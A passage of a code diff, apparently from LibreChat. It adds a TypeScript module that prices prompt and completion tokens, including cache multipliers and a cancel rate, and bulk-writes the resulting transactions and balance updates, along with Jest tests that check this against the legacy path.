+describe('prepareTokenSpend — CANCEL_RATE', () => {
+  beforeEach(() => {
+    jest.clearAllMocks();
+    (mockPricing.getMultiplier as jest.Mock).mockReturnValue(2);
+  });
+
+  it('should apply CANCEL_RATE to completion tokens with incomplete context', () => {
+    const txData: TxMetadata = { ...baseTxData, context: 'incomplete' };
+    const entries = prepareTokenSpend(
+      txData,
+      { promptTokens: 100, completionTokens: 50 },
+      mockPricing,
+    );
+    const completion = entries.find((e) => e.doc.tokenType === 'completion');
+    expect(completion).toBeDefined();
+    expect(completion!.doc.rate).toBe(2 * CANCEL_RATE);
+    expect(completion!.doc.tokenValue).toBe(Math.ceil(-50 * 2 * CANCEL_RATE));
+  });
+
+  it('should NOT apply CANCEL_RATE to prompt tokens with incomplete context', () => {
+    const txData: TxMetadata = { ...baseTxData, context: 'incomplete' };
+    const entries = prepareTokenSpend(
+      txData,
+      { promptTokens: 100, completionTokens: 50 },
+      mockPricing,
+    );
+    const prompt = entries.find((e) => e.doc.tokenType === 'prompt');
+    expect(prompt!.doc.rate).toBe(2);
+  });
+
+  it('should NOT apply CANCEL_RATE for abort context', () => {
+    const txData: TxMetadata = { ...baseTxData, context: 'abort' };
+    const entries = prepareTokenSpend(txData, { completionTokens: 50 }, mockPricing);
+    expect(entries[0].doc.rate).toBe(2);
+  });
+});
+
+describe('prepareStructuredTokenSpend', () => {
+  beforeEach(() => {
+    jest.clearAllMocks();
+    (mockPricing.getMultiplier as jest.Mock).mockReturnValue(2);
+    (mockPricing.getCacheMultiplier as jest.Mock).mockReturnValue(null);
+  });
+
+  it('should prepare prompt + completion for structured tokens', () => {
+    const entries = prepareStructuredTokenSpend(
+      baseTxData,
+      { promptTokens: { input: 100, write: 50, read: 30 }, completionTokens: 80 },
+      mockPricing,
+    );
+    expect(entries).toHaveLength(2);
+    expect(entries[0].doc.tokenType).toBe('prompt');
+    expect(entries[0].doc.inputTokens).toBe(-100);
+    expect(entries[0].doc.writeTokens).toBe(-50);
+    expect(entries[0].doc.readTokens).toBe(-30);
+    expect(entries[1].doc.tokenType).toBe('completion');
+  });
+
+  it('should use cache multipliers when available', () => {
+    (mockPricing.getCacheMultiplier as jest.Mock).mockImplementation(({ cacheType }) => {
+      if (cacheType === 'write') {
+        return 5;
+      }
+      if (cacheType === 'read') {
+        return 0.5;
+      }
+      return null;
+    });
+
+    const entries = prepareStructuredTokenSpend(
+      baseTxData,
+      { promptTokens: { input: 100, write: 50, read: 30 }, completionTokens: 0 },
+      mockPricing,
+    );
+    const prompt = entries.find((e) => e.doc.tokenType === 'prompt');
+    expect(prompt).toBeDefined();
+    expect(prompt!.doc.rateDetail).toEqual({ input: 2, write: 5, read: 0.5 });
+  });
+
+  it('should return empty when transactions disabled', () => {
+    const txData = { ...baseTxData, transactions: { enabled: false } };
+    const entries = prepareStructuredTokenSpend(
+      txData,
+      { promptTokens: { input: 100 }, completionTokens: 50 },
+      mockPricing,
+    );
+    expect(entries).toHaveLength(0);
+  });
+
+  it('should handle zero totalPromptTokens (fallback rate)', () => {
+    const entries = prepareStructuredTokenSpend(
+      baseTxData,
+      { promptTokens: { input: 0, write: 0, read: 0 }, completionTokens: 50 },
+      mockPricing,
+    );
+    const prompt = entries.find((e) => e.doc.tokenType === 'prompt');
+    expect(prompt).toBeDefined();
+    expect(prompt!.doc.rate).toBe(2);
+  });
+});
+
+describe('bulkWriteTransactions (real DB)', () => {
+  it('should return early for empty docs without DB writes', async () => {
+    const dbOps = {
+      insertMany: dbMethods.bulkInsertTransactions,
+      updateBalance: dbMethods.updateBalance,
+    };
+    await bulkWriteTransactions({ user: testUserId, docs: [] }, dbOps);
+    const txCount = await Transaction.countDocuments();
+    expect(txCount).toBe(0);
+  });
+
+  it('should insert transaction documents into MongoDB', async () => {
+    const docs: PreparedEntry[] = [
+      {
+        doc: {
+          user: testUserId,
+          conversationId: 'c1',
+          tokenType: 'prompt',
+          tokenValue: -200,
+          rate: 2,
+          rawAmount: -100,
+        },
+        tokenValue: -200,
+        balance: { enabled: true },
+      },
+      {
+        doc: {
+          user: testUserId,
+          conversationId: 'c1',
+          tokenType: 'completion',
+          tokenValue: -100,
+          rate: 2,
+          rawAmount: -50,
+        },
+        tokenValue: -100,
+        balance: { enabled: true },
+      },
+    ];
+    const dbOps = {
+      insertMany: dbMethods.bulkInsertTransactions,
+      updateBalance: dbMethods.updateBalance,
+    };
+    await bulkWriteTransactions({ user: testUserId, docs }, dbOps);
+
+    const saved = await Transaction.find({ user: testUserId }).lean();
+    expect(saved).toHaveLength(2);
+    expect(saved.map((t: Record<string, unknown>) => t.tokenType).sort()).toEqual([
+      'completion',
+      'prompt',
+    ]);
+  });
+
+  it('should create balance document and update credits', async () => {
+    const docs: PreparedEntry[] = [
+      {
+        doc: { user: testUserId, conversationId: 'c1', tokenType: 'prompt', tokenValue: -300 },
+        tokenValue: -300,
+        balance: { enabled: true },
+      },
+    ];
+    const dbOps = {
+      insertMany: dbMethods.bulkInsertTransactions,
+      updateBalance: dbMethods.updateBalance,
+    };
+    await bulkWriteTransactions({ user: testUserId, docs }, dbOps);
+
+    const bal = (await Balance.findOne({ user: testUserId }).lean()) as Record<
+      string,
+      unknown
+    > | null;
+    expect(bal).toBeDefined();
+    expect(bal!.tokenCredits).toBe(0);
+  });
+
+  it('should NOT update balance when no docs have balance enabled', async () => {
+    const docs: PreparedEntry[] = [
+      {
+        doc: { user: testUserId, conversationId: 'c1', tokenType: 'prompt', tokenValue: -100 },
+        tokenValue: -100,
+        balance: { enabled: false },
+      },
+    ];
+    const dbOps = {
+      insertMany: dbMethods.bulkInsertTransactions,
+      updateBalance: dbMethods.updateBalance,
+    };
+    await bulkWriteTransactions({ user: testUserId, docs }, dbOps);
+
+    const txCount = await Transaction.countDocuments({ user: testUserId });
+    expect(txCount).toBe(1);
+    const bal = await Balance.findOne({ user: testUserId }).lean();
+    expect(bal).toBeNull();
+  });
+
+  it('should only sum tokenValue from balance-enabled docs', async () => {
+    await Balance.create({ user: testUserId, tokenCredits: 1000 });
+
+    const docs: PreparedEntry[] = [
+      {
+        doc: { user: testUserId, conversationId: 'c1', tokenType: 'prompt', tokenValue: -100 },
+        tokenValue: -100,
+        balance: { enabled: true },
+      },
+      {
+        doc: { user: testUserId, conversationId: 'c1', tokenType: 'completion', tokenValue: -50 },
+        tokenValue: -50,
+        balance: { enabled: false },
+      },
+    ];
+    const dbOps = {
+      insertMany: dbMethods.bulkInsertTransactions,
+      updateBalance: dbMethods.updateBalance,
+    };
+    await bulkWriteTransactions({ user: testUserId, docs }, dbOps);
+
+    const bal = (await Balance.findOne({ user: testUserId }).lean()) as Record<
+      string,
+      unknown
+    > | null;
+    expect(bal!.tokenCredits).toBe(900);
+  });
+
+  it('should handle null balance gracefully', async () => {
+    const docs: PreparedEntry[] = [
+      {
+        doc: { user: testUserId, conversationId: 'c1', tokenType: 'prompt', tokenValue: -100 },
+        tokenValue: -100,
+        balance: null,
+      },
+    ];
+    const dbOps = {
+      insertMany: dbMethods.bulkInsertTransactions,
+      updateBalance: dbMethods.updateBalance,
+    };
+    await bulkWriteTransactions({ user: testUserId, docs }, dbOps);
+
+    const txCount = await Transaction.countDocuments({ user: testUserId });
+    expect(txCount).toBe(1);
+    const bal = await Balance.findOne({ user: testUserId }).lean();
+    expect(bal).toBeNull();
+  });
+});
+
+describe('end-to-end: prepare → bulk write → verify', () => {
+  it('should prepare, write, and correctly update balance for standard tokens', async () => {
+    await Balance.create({ user: testUserId, tokenCredits: 10000 });
+    (mockPricing.getMultiplier as jest.Mock).mockReturnValue(2);
+
+    const entries = prepareTokenSpend(
+      baseTxData,
+      { promptTokens: 100, completionTokens: 50 },
+      mockPricing,
+    );
+    const dbOps = {
+      insertMany: dbMethods.bulkInsertTransactions,
+      updateBalance: dbMethods.updateBalance,
+    };
+    await bulkWriteTransactions({ user: testUserId, docs: entries }, dbOps);
+
+    const txns = (await Transaction.find({ user: testUserId }).lean()) as Record<string, unknown>[];
+    expect(txns).toHaveLength(2);
+
+    const prompt = txns.find((t) => t.tokenType === 'prompt');
+    const completion = txns.find((t) => t.tokenType === 'completion');
+    expect(prompt!.tokenValue).toBe(-200);
+    expect(prompt!.rate).toBe(2);
+    expect(completion!.tokenValue).toBe(-100);
+    expect(completion!.rate).toBe(2);
+
+    const bal = (await Balance.findOne({ user: testUserId }).lean()) as Record<
+      string,
+      unknown
+    > | null;
+    expect(bal!.tokenCredits).toBe(10000 + -200 + -100);
+  });
+
+  it('should prepare and write structured tokens with cache pricing', async () => {
+    await Balance.create({ user: testUserId, tokenCredits: 5000 });
+    (mockPricing.getMultiplier as jest.Mock).mockReturnValue(1);
+    (mockPricing.getCacheMultiplier as jest.Mock).mockImplementation(({ cacheType }) => {
+      if (cacheType === 'write') {
+        return 3;
+      }
+      if (cacheType === 'read') {
+        return 0.1;
+      }
+      return null;
+    });
+
+    const entries = prepareStructuredTokenSpend(
+      baseTxData,
+      { promptTokens: { input: 100, write: 50, read: 200 }, completionTokens: 80 },
+      mockPricing,
+    );
+    const dbOps = {
+      insertMany: dbMethods.bulkInsertTransactions,
+      updateBalance: dbMethods.updateBalance,
+    };
+    await bulkWriteTransactions({ user: testUserId, docs: entries }, dbOps);
+
+    const txns = (await Transaction.find({ user: testUserId }).lean()) as Record<string, unknown>[];
+    expect(txns).toHaveLength(2);
+
+    const prompt = txns.find((t) => t.tokenType === 'prompt');
+    expect(prompt!.inputTokens).toBe(-100);
+    expect(prompt!.writeTokens).toBe(-50);
+    expect(prompt!.readTokens).toBe(-200);
+
+    const bal = (await Balance.findOne({ user: testUserId }).lean()) as Record<
+      string,
+      unknown
+    > | null;
+    expect(bal!.tokenCredits).toBeLessThan(5000);
+  });
+});
diff --git a/packages/api/src/agents/transactions.ts b/packages/api/src/agents/transactions.ts
new file mode 100644
index 0000000000..b746392b44
--- /dev/null
+++ b/packages/api/src/agents/transactions.ts
@@ -0,0 +1,345 @@
+import { CANCEL_RATE } from '@librechat/data-schemas';
+import type { TCustomConfig, TTransactionsConfig } from 'librechat-data-provider';
+import type { TransactionData } from '@librechat/data-schemas';
+import type { EndpointTokenConfig } from '~/types/tokens';
+
+interface GetMultiplierParams {
+  valueKey?: string;
+  tokenType?: string;
+  model?: string;
+  endpointTokenConfig?: EndpointTokenConfig;
+  inputTokenCount?: number;
+}
+
+interface GetCacheMultiplierParams {
+  cacheType: 'write' | 'read';
+  model?: string;
+  endpointTokenConfig?: EndpointTokenConfig;
+}
+
+export interface PricingFns {
+  getMultiplier: (params: GetMultiplierParams) => number;
+  getCacheMultiplier: (params: GetCacheMultiplierParams) => number | null;
+}
+
+interface BaseTxData {
+  user: string;
+  model?: string;
+  context: string;
+  messageId?: string;
+  conversationId: string;
+  endpointTokenConfig?: EndpointTokenConfig;
+  balance?: Partial<TCustomConfig['balance']> | null;
+  transactions?: Partial<TTransactionsConfig>;
+}
+
+interface StandardTxData extends BaseTxData {
+  tokenType: string;
+  rawAmount: number;
+  inputTokenCount?: number;
+  valueKey?: string;
+}
+
+interface StructuredTxData extends BaseTxData {
+  tokenType: string;
+  inputTokens?: number;
+  writeTokens?: number;
+  readTokens?: number;
+  inputTokenCount?: number;
+  rawAmount?: number;
+}
+
+export interface PreparedEntry {
+  doc: TransactionData;
+  tokenValue: number;
+  balance?: Partial<TCustomConfig['balance']> | null;
+}
+
+export interface TokenUsage {
+  promptTokens?: number;
+  completionTokens?: number;
+}
+
+export interface StructuredPromptTokens {
+  input?: number;
+  write?: number;
+  read?: number;
+}
+
+export interface StructuredTokenUsage {
+  promptTokens?: StructuredPromptTokens;
+  completionTokens?: number;
+}
+
+export interface TxMetadata {
+  user: string;
+  model?: string;
+  context: string;
+  messageId?: string;
+  conversationId: string;
+  balance?: Partial<TCustomConfig['balance']> | null;
+  transactions?: Partial<TTransactionsConfig>;
+  endpointTokenConfig?: EndpointTokenConfig;
+}
+
+export interface BulkWriteDeps {
+  insertMany: (docs: TransactionData[]) => Promise<unknown>;
+  updateBalance: (params: { user: string; incrementValue: number }) => Promise<unknown>;
+}
+
+function calculateTokenValue(
+  txData: StandardTxData,
+  pricing: PricingFns,
+): { tokenValue: number; rate: number } {
+  const { tokenType, model, endpointTokenConfig, inputTokenCount, rawAmount, valueKey } = txData;
+  const multiplier = Math.abs(
+    pricing.getMultiplier({ valueKey, tokenType, model, endpointTokenConfig, inputTokenCount }),
+  );
+  let rate = multiplier;
+  let tokenValue = rawAmount * multiplier;
+  if (txData.context === 'incomplete' && tokenType === 'completion') {
+    tokenValue = Math.ceil(tokenValue * CANCEL_RATE);
+    rate *= CANCEL_RATE;
+  }
+  return { tokenValue, rate };
+}
+
+function calculateStructuredTokenValue(
+  txData: StructuredTxData,
+  pricing: PricingFns,
+): { tokenValue: number; rate: number; rawAmount: number; rateDetail?: Record<string, number> } {
+  const { tokenType, model, endpointTokenConfig, inputTokenCount } = txData;
+
+  if (!tokenType) {
+    return { tokenValue: txData.rawAmount ?? 0, rate: 0, rawAmount: txData.rawAmount ?? 0 };
+  }
+
+  if (tokenType === 'prompt') {
+    const inputMultiplier = pricing.getMultiplier({
+      tokenType: 'prompt',
+      model,
+      endpointTokenConfig,
+      inputTokenCount,
+    });
+    const writeMultiplier =
+      pricing.getCacheMultiplier({ cacheType: 'write', model, endpointTokenConfig }) ??
+      inputMultiplier;
+    const readMultiplier =
+      pricing.getCacheMultiplier({ cacheType: 'read', model, endpointTokenConfig }) ??
+      inputMultiplier;
+
+    const inputAbs = Math.abs(txData.inputTokens ?? 0);
+    const writeAbs = Math.abs(txData.writeTokens ?? 0);
+    const readAbs = Math.abs(txData.readTokens ?? 0);
+    const totalPromptTokens = inputAbs + writeAbs + readAbs;
+
+    const rate =
+      totalPromptTokens > 0
+        ? (Math.abs(inputMultiplier * (txData.inputTokens ?? 0)) +
+            Math.abs(writeMultiplier * (txData.writeTokens ?? 0)) +
+            Math.abs(readMultiplier * (txData.readTokens ?? 0))) /
+          totalPromptTokens
+        : Math.abs(inputMultiplier);
+
+    const tokenValue = -(
+      inputAbs * inputMultiplier +
+      writeAbs * writeMultiplier +
+      readAbs * readMultiplier
+    );
+
+    return {
+      tokenValue,
+      rate,
+      rawAmount: -totalPromptTokens,
+      rateDetail: { input: inputMultiplier, write: writeMultiplier, read: readMultiplier },
+    };
+  }
+
+  const multiplier = pricing.getMultiplier({
+    tokenType,
+    model,
+    endpointTokenConfig,
+    inputTokenCount,
+  });
+  const rawAmount = -Math.abs(txData.rawAmount ?? 0);
+  let rate = Math.abs(multiplier);
+  let tokenValue = rawAmount * multiplier;
+
+  if (txData.context === 'incomplete' && tokenType === 'completion') {
+    tokenValue = Math.ceil(tokenValue * CANCEL_RATE);
+    rate *= CANCEL_RATE;
+  }
+
+  return { tokenValue, rate, rawAmount };
+}
+
+function prepareStandardTx(
+  _txData: StandardTxData & {
+    balance?: Partial<TCustomConfig['balance']> | null;
+    transactions?: Partial<TTransactionsConfig>;
+  },
+  pricing: PricingFns,
+): PreparedEntry | null {
+  const { balance, transactions, ...txData } = _txData;
+  if (txData.rawAmount != null && isNaN(txData.rawAmount)) {
+    return null;
+  }
+  if (transactions?.enabled === false) {
+    return null;
+  }
+
+  const { tokenValue, rate } = calculateTokenValue(txData, pricing);
+  return {
+    doc: { ...txData, tokenValue, rate },
+    tokenValue,
+    balance,
+  };
+}
+
+function prepareStructuredTx(
+  _txData: StructuredTxData & {
+    balance?: Partial<TCustomConfig['balance']> | null;
+    transactions?: Partial<TTransactionsConfig>;
+  },
+  pricing: PricingFns,
+): PreparedEntry | null {
+  const { balance, transactions, ...txData } = _txData;
+  if (transactions?.enabled === false) {
+    return null;
+  }
+
+  const { tokenValue, rate, rawAmount, rateDetail } = calculateStructuredTokenValue(
+    txData,
+    pricing,
+  );
+  return {
+    doc: {
+      ...txData,
+      tokenValue,
+      rate,
+      rawAmount,
+      ...(rateDetail && { rateDetail }),
+    },
+    tokenValue,
+    balance,
+  };
+}
+
+export function prepareTokenSpend(
+  txData: TxMetadata,
+  tokenUsage: TokenUsage,
+  pricing: PricingFns,
+): PreparedEntry[] {
+  const { promptTokens, completionTokens } = tokenUsage;
+  const results: PreparedEntry[] = [];
+  const normalizedPromptTokens = Math.max(promptTokens ?? 0, 0);
+
+  if (promptTokens !== undefined) {
+    const entry = prepareStandardTx(
+      {
+        ...txData,
+        tokenType: 'prompt',
+        rawAmount: promptTokens === 0 ? 0 : -normalizedPromptTokens,
+        inputTokenCount: normalizedPromptTokens,
+      },
+      pricing,
+    );
+    if (entry) {
+      results.push(entry);
+    }
+  }
+
+  if (completionTokens !== undefined) {
+    const entry = prepareStandardTx(
+      {
+        ...txData,
+        tokenType: 'completion',
+        rawAmount: completionTokens === 0 ? 0 : -Math.max(completionTokens, 0),
+        inputTokenCount: normalizedPromptTokens,
+      },
+      pricing,
+    );
+    if (entry) {
+      results.push(entry);
+    }
+  }
+
+  return results;
+}
+
+export function prepareStructuredTokenSpend(
+  txData: TxMetadata,
+  tokenUsage: StructuredTokenUsage,
+  pricing: PricingFns,
+): PreparedEntry[] {
+  const { promptTokens, completionTokens } = tokenUsage;
+  const results: PreparedEntry[] = [];
+
+  if (promptTokens) {
+    const input = Math.max(promptTokens.input ?? 0, 0);
+    const write = Math.max(promptTokens.write ?? 0, 0);
+    const read = Math.max(promptTokens.read ?? 0, 0);
+    const totalInputTokens = input + write + read;
+    const entry = prepareStructuredTx(
+      {
+        ...txData,
+        tokenType: 'prompt',
+        inputTokens: -input,
+        writeTokens: -write,
+        readTokens: -read,
+        inputTokenCount: totalInputTokens,
+      },
+      pricing,
+    );
+    if (entry) {
+      results.push(entry);
+    }
+  }
+
+  if (completionTokens) {
+    const totalInputTokens = promptTokens
+      ? Math.max(promptTokens.input ?? 0, 0) +
+        Math.max(promptTokens.write ?? 0, 0) +
+        Math.max(promptTokens.read ?? 0, 0)
+      : undefined;
+    const entry = prepareStandardTx(
+      {
+        ...txData,
+        tokenType: 'completion',
+        rawAmount: -Math.max(completionTokens, 0),
+        inputTokenCount: totalInputTokens,
+      },
+      pricing,
+    );
+    if (entry) {
+      results.push(entry);
+    }
+  }
+
+  return results;
+}
+
+export async function bulkWriteTransactions(
+  { user, docs }: { user: string; docs: PreparedEntry[] },
+  dbOps: BulkWriteDeps,
+): Promise<void> {
+  if (!docs.length) {
+    return;
+  }
+
+  let totalTokenValue = 0;
+  let balanceEnabled = false;
+  const plainDocs = docs.map(({ doc, tokenValue, balance }) => {
+    if (balance?.enabled) {
+      balanceEnabled = true;
+      totalTokenValue += tokenValue;
+    }
+    return doc;
+  });
+
+  if (balanceEnabled) {
+    await dbOps.updateBalance({ user, incrementValue: totalTokenValue });
+  }
+
+  await dbOps.insertMany(plainDocs);
+}
diff --git a/packages/api/src/agents/usage.bulk-parity.spec.ts b/packages/api/src/agents/usage.bulk-parity.spec.ts
new file mode 100644
index 0000000000..79dd50b2e3
--- /dev/null
+++ b/packages/api/src/agents/usage.bulk-parity.spec.ts
@@ -0,0 +1,533 @@
+/**
+ * Bulk path parity tests for recordCollectedUsage.
+ *
+ * Every test here mirrors a corresponding legacy-path test in usage.spec.ts.
+ * The return values (input_tokens, output_tokens) must be identical between paths.
+ * The docs written to insertMany must carry the same metadata as the args that
+ * would have been passed to spendTokens/spendStructuredTokens.
+ */
+import type { UsageMetadata } from '../stream/interfaces/IJobStore';
+import type { RecordUsageDeps, RecordUsageParams } from './usage';
+import type { BulkWriteDeps, PricingFns } from './transactions';
+import { recordCollectedUsage } from './usage';
+
+describe('recordCollectedUsage — bulk path parity', () => {
+  let mockSpendTokens: jest.Mock;
+  let mockSpendStructuredTokens: jest.Mock;
+  let mockInsertMany: jest.Mock;
+  let mockUpdateBalance: jest.Mock;
+  let mockPricing: PricingFns;
+  let mockBulkWriteOps: BulkWriteDeps;
+  let deps: RecordUsageDeps;
+
+  const baseParams: Omit<RecordUsageParams, 'collectedUsage'> = {
+    user: 'user-123',
+    conversationId: 'convo-123',
+    model: 'gpt-4',
+    context: 'message',
+    balance: { enabled: true },
+    transactions: { enabled: true },
+  };
+
+  beforeEach(() => {
+    jest.clearAllMocks();
+    mockSpendTokens = jest.fn().mockResolvedValue(undefined);
+    mockSpendStructuredTokens = jest.fn().mockResolvedValue(undefined);
+    mockInsertMany = jest.fn().mockResolvedValue(undefined);
+    mockUpdateBalance = jest.fn().mockResolvedValue({});
+    mockPricing = {
+      getMultiplier: jest.fn().mockReturnValue(1),
+      getCacheMultiplier: jest.fn().mockReturnValue(null),
+    };
+    mockBulkWriteOps = {
+      insertMany: mockInsertMany,
+      updateBalance: mockUpdateBalance,
+    };
+    deps = {
+      spendTokens: mockSpendTokens,
+      spendStructuredTokens: mockSpendStructuredTokens,
+      pricing: mockPricing,
+      bulkWriteOps: mockBulkWriteOps,
+    };
+  });
+
+  describe('basic functionality', () => {
+    it('should return undefined if collectedUsage is empty', async () => {
+      const result = await recordCollectedUsage(deps, { ...baseParams, collectedUsage: [] });
+      expect(result).toBeUndefined();
+      expect(mockInsertMany).not.toHaveBeenCalled();
+      expect(mockSpendTokens).not.toHaveBeenCalled();
+    });
+
+    it('should return undefined if collectedUsage is null-ish', async () => {
+      const result = await recordCollectedUsage(deps, {
+        ...baseParams,
+        collectedUsage: null as unknown as UsageMetadata[],
+      });
+      expect(result).toBeUndefined();
+      expect(mockInsertMany).not.toHaveBeenCalled();
+    });
+
+    it('should handle single usage entry — same return value as legacy path', async () => {
+      const collectedUsage: UsageMetadata[] = [
+        { input_tokens: 100, output_tokens: 50, model: 'gpt-4' },
+      ];
+
+      const result = await recordCollectedUsage(deps, { ...baseParams, collectedUsage });
+
+      expect(result).toEqual({ input_tokens: 100, output_tokens: 50 });
+      expect(mockSpendTokens).not.toHaveBeenCalled();
+      expect(mockInsertMany).toHaveBeenCalledTimes(1);
+
+      const docs = mockInsertMany.mock.calls[0][0];
+      expect(docs).toHaveLength(2);
+      const promptDoc = docs.find((d: { tokenType: string }) => d.tokenType === 'prompt');
+      const completionDoc = docs.find((d: { tokenType: string }) => d.tokenType === 'completion');
+      expect(promptDoc.user).toBe('user-123');
+      expect(promptDoc.conversationId).toBe('convo-123');
+      expect(promptDoc.model).toBe('gpt-4');
+      expect(promptDoc.context).toBe('message');
+      expect(promptDoc.rawAmount).toBe(-100);
+      expect(completionDoc.rawAmount).toBe(-50);
+    });
+
+    it('should skip null entries — same return value as legacy path', async () => {
+      const collectedUsage = [
+        { input_tokens: 100, output_tokens: 50, model: 'gpt-4' },
+        null,
+        { input_tokens: 200, output_tokens: 60, model: 'gpt-4' },
+      ] as UsageMetadata[];
+
+      const result = await recordCollectedUsage(deps, { ...baseParams, collectedUsage });
+
+      expect(result).toEqual({ input_tokens: 100, output_tokens: 110 });
+      expect(mockInsertMany).toHaveBeenCalledTimes(1);
+      const docs = mockInsertMany.mock.calls[0][0];
+      expect(docs).toHaveLength(4); // 2 non-null entries × 2 docs each
+    });
+  });
+
+  describe('sequential execution (tool calls)', () => {
+    it('should calculate tokens correctly for sequential tool calls — same totals as legacy', async () => {
+      const collectedUsage: UsageMetadata[] = [
+        { input_tokens: 100, output_tokens: 50, model: 'gpt-4' },
+        { input_tokens: 150, output_tokens: 30, model: 'gpt-4' },
+        { input_tokens: 180, output_tokens: 20, model: 'gpt-4' },
+      ];
+
+      const result = await recordCollectedUsage(deps, { ...baseParams, collectedUsage });
+
+      expect(result?.output_tokens).toBe(100); // 50 + 30 + 20
+      expect(result?.input_tokens).toBe(100); // first entry's input
+
+      expect(mockInsertMany).toHaveBeenCalledTimes(1);
+      const docs = mockInsertMany.mock.calls[0][0];
+      expect(docs).toHaveLength(6); // 3 entries × 2 docs
+      expect(mockSpendTokens).not.toHaveBeenCalled();
+    });
+  });
+
+  describe('parallel execution (multiple agents)', () => {
+    it('should handle parallel agents — same output_tokens total as legacy', async () => {
+      const collectedUsage: UsageMetadata[] = [
+        { input_tokens: 100, output_tokens: 50, model: 'gpt-4' },
+        { input_tokens: 80, output_tokens: 40, model: 'gpt-4' },
+      ];
+
+      const result = await recordCollectedUsage(deps, { ...baseParams, collectedUsage });
+
+      expect(result?.output_tokens).toBe(90); // 50 + 40
+      expect(result?.output_tokens).toBeGreaterThan(0);
+      expect(mockInsertMany).toHaveBeenCalledTimes(1);
+    });
+
+    /** Bug regression: parallel agents where second agent has LOWER input tokens produced negative output via incremental calculation. */
+    it('should NOT produce negative output_tokens — same positive result as legacy', async () => {
+      const collectedUsage: UsageMetadata[] = [
+        { input_tokens: 200, output_tokens: 100, model: 'gpt-4' },
+        { input_tokens: 50, output_tokens: 30, model: 'gpt-4' },
+      ];
+
+      const result = await recordCollectedUsage(deps, { ...baseParams, collectedUsage });
+
+      expect(result?.output_tokens).toBeGreaterThan(0);
+      expect(result?.output_tokens).toBe(130); // 100 + 30
+    });
+
+    it('should calculate correct total output for 3 parallel agents', async () => {
+      const collectedUsage: UsageMetadata[] = [
+        { input_tokens: 100, output_tokens: 50, model: 'gpt-4' },
+        { input_tokens: 120, output_tokens: 60, model: 'gpt-4-turbo' },
+        { input_tokens: 80, output_tokens: 40, model: 'claude-3' },
+      ];
+
+      const result = await recordCollectedUsage(deps, { ...baseParams, collectedUsage });
+
+      expect(result?.output_tokens).toBe(150); // 50 + 60 + 40
+      expect(mockInsertMany).toHaveBeenCalledTimes(1);
+      const docs = mockInsertMany.mock.calls[0][0];
+      expect(docs).toHaveLength(6);
+      expect(mockSpendTokens).not.toHaveBeenCalled();
+    });
+  });
+
+  describe('cache token handling - OpenAI format', () => {
+    it('should route cache entries to structured path — same input_tokens as legacy', async () => {
+      const collectedUsage: UsageMetadata[] = [
+        {
+          input_tokens: 100,
+          output_tokens: 50,
+          model: 'gpt-4',
+          input_token_details: { cache_creation: 20, cache_read: 10 },
+        },
+      ];
+
+      const result = await recordCollectedUsage(deps, { ...baseParams, collectedUsage });
+
+      expect(result?.input_tokens).toBe(130); // 100 + 20 + 10
+      expect(mockInsertMany).toHaveBeenCalledTimes(1);
+      expect(mockSpendStructuredTokens).not.toHaveBeenCalled();
+      expect(mockSpendTokens).not.toHaveBeenCalled();
+
+      const docs = mockInsertMany.mock.calls[0][0];
+      const promptDoc = docs.find((d: { tokenType: string }) => d.tokenType === 'prompt');
+      expect(promptDoc.inputTokens).toBe(-100);
+      expect(promptDoc.writeTokens).toBe(-20);
+      expect(promptDoc.readTokens).toBe(-10);
+      expect(promptDoc.model).toBe('gpt-4');
+    });
+  });
+
+  describe('cache token handling - Anthropic format', () => {
+    it('should route Anthropic cache entries to structured path — same input_tokens as legacy', async () => {
+      const collectedUsage: UsageMetadata[] = [
+        {
+          input_tokens: 100,
+          output_tokens: 50,
+          model: 'claude-3',
+          cache_creation_input_tokens: 25,
+          cache_read_input_tokens: 15,
+        },
+      ];
+
+      const result = await recordCollectedUsage(deps, { ...baseParams, collectedUsage });
+
+      expect(result?.input_tokens).toBe(140); // 100 + 25 + 15
+      expect(mockInsertMany).toHaveBeenCalledTimes(1);
+      expect(mockSpendStructuredTokens).not.toHaveBeenCalled();
+
+      const docs = mockInsertMany.mock.calls[0][0];
+      const promptDoc = docs.find((d: { tokenType: string }) => d.tokenType === 'prompt');
+      expect(promptDoc.inputTokens).toBe(-100);
+      expect(promptDoc.writeTokens).toBe(-25);
+      expect(promptDoc.readTokens).toBe(-15);
+      expect(promptDoc.model).toBe('claude-3');
+    });
+  });
+
+  describe('mixed cache and non-cache entries', () => {
+    it('should handle mixed entries — same output_tokens as legacy', async () => {
+      const collectedUsage: UsageMetadata[] = [
+        { input_tokens: 100, output_tokens: 50, model: 'gpt-4' },
+        {
+          input_tokens: 150,
+          output_tokens: 30,
+          model: 'gpt-4',
+          input_token_details: { cache_creation: 10, cache_read: 5 },
+        },
+        { input_tokens: 200, output_tokens: 20, model: 'gpt-4' },
+      ];
+
+      const result = await recordCollectedUsage(deps, { ...baseParams, collectedUsage });
+
+      expect(result?.output_tokens).toBe(100); // 50 + 30 + 20
+      expect(mockInsertMany).toHaveBeenCalledTimes(1);
+      expect(mockSpendTokens).not.toHaveBeenCalled();
+      expect(mockSpendStructuredTokens).not.toHaveBeenCalled();
+
+      const docs = mockInsertMany.mock.calls[0][0];
+      expect(docs).toHaveLength(6); // 3 entries × 2 docs each
+    });
+  });
+
+  describe('model fallback', () => {
+    it('should use usage.model when available — model lands in doc', async () => {
+      const collectedUsage: UsageMetadata[] = [
+        { input_tokens: 100, output_tokens: 50, model: 'gpt-4-turbo' },
+      ];
+
+      await recordCollectedUsage(deps, {
+        ...baseParams,
+        model: 'fallback-model',
+        collectedUsage,
+      });
+
+      const docs = mockInsertMany.mock.calls[0][0];
+      expect(docs[0].model).toBe('gpt-4-turbo');
+    });
+
+    it('should fallback to param model when usage.model is missing — model lands in doc', async () => {
+      const collectedUsage: UsageMetadata[] = [{ input_tokens: 100, output_tokens: 50 }];
+
+      await recordCollectedUsage(deps, {
+        ...baseParams,
+        model: 'param-model',
+        collectedUsage,
+      });
+
+      const docs = mockInsertMany.mock.calls[0][0];
+      expect(docs[0].model).toBe('param-model');
+    });
+
+    it('should fallback to undefined model when both usage.model and param model are missing', async () => {
+      const collectedUsage: UsageMetadata[] = [{ input_tokens: 100, output_tokens: 50 }];
+
+      await recordCollectedUsage(deps, {
+        ...baseParams,
+        model: undefined,
+        collectedUsage,
+      });
+
+      const docs = mockInsertMany.mock.calls[0][0];
+      expect(docs[0].model).toBeUndefined();
+    });
+  });
+
+  describe('real-world scenarios', () => {
+    it('should correctly sum output tokens for sequential tool calls with growing context', async () => {
+      const collectedUsage: UsageMetadata[] = [
+        { input_tokens: 31596, output_tokens: 151, model: 'claude-opus' },
